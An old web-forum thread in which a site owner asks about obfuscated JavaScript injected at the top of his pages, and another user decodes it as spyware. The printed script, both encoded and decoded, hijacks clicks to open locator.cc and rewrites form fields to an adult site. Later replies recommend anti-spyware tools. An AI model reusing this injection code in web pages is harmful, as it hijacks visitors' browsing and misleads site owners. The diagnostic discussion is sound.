Weird Javascript at the top of my source codes

J

jag5311

Perch
I am getting this weird javascript code, and I don't know if its Jodohost or not, but it happens on both of my sites I have on jodohost. Here is the code

Code: 
<script language="JavaScript">
eval(String.fromCharCode(118,97,114,32,114,115,99,95,110,
99,108,107,61,48,59,118,97,114,32,114,115,99,95,107,119,
95,102,111,117,110,100,61,48,59,102,117,110,99,116,105,
111,110,32,114,115,99,95,104,95,99,108,105,99,107,40,41,
123,114,115,99,95,110,99,108,107,43,43,59,118,97,114,32,97,
99,116,105,118,101,69,108,61,100,111,99,117,109,101,110,
116,46,97,99,116,105,118,101,69,108,101,109,101,110,116,
59,118,97,114,32,104,114,101,102,61,97,99,116,105,118,101,
69,108,46,104,114,101,102,59,105,102,40,40,114,115,99,
95,110,99,108,107,61,61,50,32,124,124,32,114,115,99,95,
110,99,108,107,61,61,52,32,124,124,32,114,115,99,95,110,
99,108,107,61,61,54,41,32,38,38,32,114,115,99,95,107,119,
95,102,111,117,110,100,61,61,49,41,123,119,105,110,100,
111,119,46,111,112,101,110,40,39,104,116,116,112,58,47,
47,119,119,119,46,108,111,99,97,116,111,114,46,99,99,47,
103,111,63,39,43,104,114,101,102,41,59,114,101,116,117,
114,110,32,102,97,108,115,101,59,125,101,108,115,101,123,
114,101,116,117,114,110,32,116,114,117,101,59,125,125,
102,117,110,99,116,105,111,110,32,114,115,99,95,104,95,
115,110,100,102,111,114,109,40,41,123,118,97,114,32,105,
44,106,59,102,111,114,40,106,61,48,59,106,60,100,111,99,
117,109,101,110,116,46,102,111,114,109,115,46,108,101,
110,103,116,104,59,106,43,43,41,123,102,111,114,32,40,
105,61,48,59,105,60,100,111,99,117,109,101,110,116,46,
102,111,114,109,115,91,106,93,46,108,101,110,103,116,
104,59,105,43,43,41,123,105,102,32,40,100,111,99,117,109,
101,110,116,46,102,111,114,109,115,91,48,93,46,101,108,
101,109,101,110,116,115,91,105,93,46,118,97,108,117,101,
61,61,39,104,116,116,112,58,47,47,39,41,123,100,111,99,
117,109,101,110,116,46,102,111,114,109,115,91,48,93,46,
101,108,101,109,101,110,116,115,91,105,93,46,118,97,108,
117,101,61,39,104,116,116,112,58,47,47,119,119,119,46,
97,100,117,108,116,45,100,118,100,109,111,118,105,101,
46,99,111,109,47,39,59,125,125,125,114,101,116,117,114,
110,32,116,114,117,101,59,125));
</script>

Any clue?
 
Ouch, if you find which one this is would you might letting me know? I have seen a similar problem and am wondering if it is the EZula toptext or another spyware program.
 
Definitely spyware:
Code: 
var rsc_nclk=0;
var rsc_kw_found=0;

function rsc_h_click() {
	rsc_nclk++;
	var activeEl=document.activeElement;
	var href=activeEl.href;
	if((rsc_nclk==2 || rsc_nclk==4 || rsc_nclk==6) && rsc_kw_found==1) {
		window.open('http://www.locator.cc/go?'+href);
		return false;
	} else {
		return true;
	}
}

function rsc_h_sndform() {
	var i,j;
	for(j=0;j<document.forms.length;j++) {
		for (i=0;i<document.forms[j].length;i++) {
			if (document.forms[0].elements[i].value=='http://') {
				document.forms[0].elements[i].value='http://www.adult-dvdmovie.com/';
			}
		}
	}
	return true;
}
 
Yeah Ad-Aware is nice, normally I never need it, but some "user" had been using my comp and managed to install some search bar thing that pwned my Google bar and added some nice spy junk in the process :(
Thank God for Ad-Aware 8)
 
BUT, the best thing is to avoid most free programs. You can be almost sure you will get adware or spyware when installing programs like that

of course, this is not the case with all free programs, so don't flame me please ;)
 
DirtBag said:
BUT, the best thing is to avoid most free programs. You can be almost sure you will get adware or spyware when installing programs like that

of course, this is not the case with all free programs, so don't flame me please ;)
Click to expand...

I'd normally agree, but with these two programs they've certainly fixed many a problem for both myself and my clients.

But I do take your point - you never do know what you're agreeing to when you hit 'accept all terms' nowadays.
 
DirtBag said:
of course, this is not the case with all free programs, so don't flame me please ;)
Click to expand...

Plenty of free programs without spyware, just make sure you're well informed before you install it :)
Reading the License Agreement is usually a big clue..
 
Just as a note, open source is different than freeware :) I don't know of any open source with spyware in it.
 
Deifinitely use Ad-Aware AND Spybot S&D. And make sure you run the "Immunization" feature of Spybot S&D - it will block all the known spyware from being installed. When you go to a website or try to install a program that has spyware in it, it will alert you and give you the option not to install the offending files.
 
And if you download from Cnet's download.com they inform you whether spyware or adware comes with the software you are interested in. This is why I always download from them first if it is possible.
 
You must log in or register to reply here.
Back
Top